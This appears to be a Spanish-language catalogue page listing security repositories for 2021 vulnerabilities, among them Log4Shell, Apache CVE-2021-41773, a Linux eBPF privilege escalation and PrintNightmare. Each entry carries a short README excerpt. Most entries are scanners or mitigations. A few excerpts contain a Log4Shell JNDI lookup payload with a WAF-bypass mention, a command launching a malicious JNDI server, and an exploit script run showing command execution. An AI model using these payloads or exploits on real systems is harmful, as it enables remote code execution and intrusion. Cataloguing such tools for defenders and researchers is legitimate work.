log4shell

log4shell Contenido para ayudar a la comunidad a responder a la vulnerabilidad Log4j Log4Shell CVE-2021-44228...

CVE-2021-41773

CVE-2021-41773 Un paquete de Zeek que genera notificaciones notices por Path Traversal/RCE en Apache HTTP Server 2.4.49 CVE-2021-41773 y 2.4.50 CVE-2021-42013 Referencias https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-41773...

Linux_LPE_eBPF_CVE-2021-3490

LinuxLPEeBPFCVE-2021-3490 Exploit de LPE para CVE-2021-3490. Probado en Ubuntu 20.04.02 y 20.10 Groovy Gorilla, kernels 5.8.0-25.26 hasta 5.8.0-52.58. y Ubuntu 21.04 Hirsute Hippo 5.11.0-16.17. La vulnerabilidad fue descubierta por Manfred Paul @manfp y corregida en este commit. autor: @chompie13...

CVE-2021-41773

Escáner CVE-2021-41773 Este script prueba la vulnerabilidad de path traversal y local file inclusion en Apache versión 2.4.29; este script no devuelve archivos locales, simplemente escanea el servidor web y te indica si es vulnerable o no. Uso: python3 cve-2021-41773-scanner.py IPv4 address...

frameworks_base_AOSP10_r33_CVE-2021-0319

This repository does not have a README...

CVE-2021-26690

Este repositorio no tiene un README...

log4j-CVE-2021-44228-test

log4j-CVE-2021-44228-test proyectos de demostración para resaltar cómo ejecutar la vulnerabilidad log4j CVE-2021-44228 Se usó Spring Boot solo para configurarlo rápidamente. Tendrás que disculpar todo el código hardcodeado, era solo un POC. Uso Ten Java 8 instalado. Compila con Maven mvn clean...

Sitecore.Solr-log4j-mitigation

Sitecore.Solr-log4j-mitigation CVE-2021-44228 Este repositorio contiene un script que puedes ejecutar en tu máquina Windows para mitigar CVE-2021-44228 aplicando el consejo documentado en https://solr.apache.org/security.htmlapache-solr-affected-by-apache-log4j-cve-2021-44228 El script de...

Log4J_0day_RCE

Únete a la Comunidad Telegram CVE-2021-44228 Ejecución Remota de Código en Apache Log4j Versiones afectadas puedes usar JNDI-Injection-Exploit para explotar. Bypass rc1 Por ejemplo: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName Bypass WAF...

sudowp-adminer

SudoWP Adminer Fork de Seguridad Colaboradores: SudoWP, WP Republic Autores originales: Frank Bültge, Inpsyde Etiquetas: adminer, database, security, cve-2021-21311, ssrf-patch Requiere al menos: 5.8 Probado hasta: 6.7 Versión estable: 1.5.0 Licencia: GPLv2 o posterior Aviso de seguridad...

Grafana-Password-Decryptor

Grafana Password Decryptor Kit de herramientas en Python para descifrar y crackear contraseñas de Grafana en múltiples formatos. Creado por: strikoder ¿Qué Hace Esta Herramienta? Maneja dos tipos de almacenamiento de contraseñas de Grafana: 🔐 AES-256 Base64 tabla datasource → Descifra directament...

CVE-2021-40444

Vulnerabilidad de ejecución remota de código en Microsoft MSHTML CVE-2021-40444 ¿Cómo deshabilitar los controles ActiveX en un sistema individual? 1. Para deshabilitar la instalación de controles ActiveX en Internet Explorer en todas las zonas, pegue lo siguiente en un archivo de texto y guárdelo...

MUT-BC-SS-01

MUT-BC-SS-01: Pruebas de Mutación de BasicConstraints X.509 en OpenSSL Resumen Este repositorio implementa un experimento de pruebas de mutación basado en especificaciones, dirigido al comportamiento de validación de certificados X.509 en OpenSSL. El experimento se basa en el operador de mutación...

log4jcheck

Log4j CVE-2021-44228 checker Multithreaded checks a list of URLs with POST and GET requests in combination with parameters. Heavily inspired by NortwaveSecurity version. Set-up URLs to check The list of URLs to check should be in the following format csv: root@kitploit:...

Log4j-CVE-2021-44228

Log4j-CVE-2021-44228 Comprobación masiva de Log4j vulnerable CVE-2021-44228 Introducción En realidad, solo lo comprobé mediante la aplicación vulnerable de https://github.com/christophetd/log4shell-vulnerable-app porque soy demasiado perezoso para buscar un objetivo real xD, así que puedes...

log4j_RCE_CVE-2021-44832

Log4j 2.17.0 RCE -- CVE-2021-44832 Reproducción 1. Inicia el servidor jndi malicioso root@kitploit: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1" 2. Modifica la parte DataSource en config/log4j2.xml con la...

log4shell-example

Log4Shell Exploit Test El objetivo de este proyecto es demostrar la vulnerabilidad de explotación log4j cve-2021-44228 en una configuración de spring-boot, y mostrar cómo corregirla. Este proyecto contiene tres submódulos. Uno de ellos tiene código vulnerable, los otros dos están parcheados. Cómo...

CVE-2021-1675_PrintNightMare

PrintNightmareScanner Scanner to detect Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-1675 Prerequisite's python3 python3 -m pip install -r Requirements.txt Usage python3 detectprintnightmare.py --help root@kitploit: usage: detectprintnightmare.py -h -t TARGET -T TARGETS -c...

CVE-2021-31589

Insignias Licencia MIT Instalación Instalar cve-2021-31589 con npm root@kitploit: npm install cve-2021-31589 -g Uso Ejemplo para una sola URL root@kitploit: cve-2021-31589 -u http://example.com Uso Ejemplo para una lista de URLs root@kitploit: cve-2021-31589 -l urls.txt -o out.txt Capturas de...

CVE-2021-41773-PoC

CVE-2021-41773-PoC 🚀 Modo de Uso root@kitploit: ./exploit.sh 172.17.0.2 id uid=33www-data gid=33www-data groups=33www-data !CAUTION Este script es SOLO para fines educativos y de pentesting autorizado. El uso indebido de esta herramienta en sistemas sin permiso expreso es ILEGAL. El autor no se...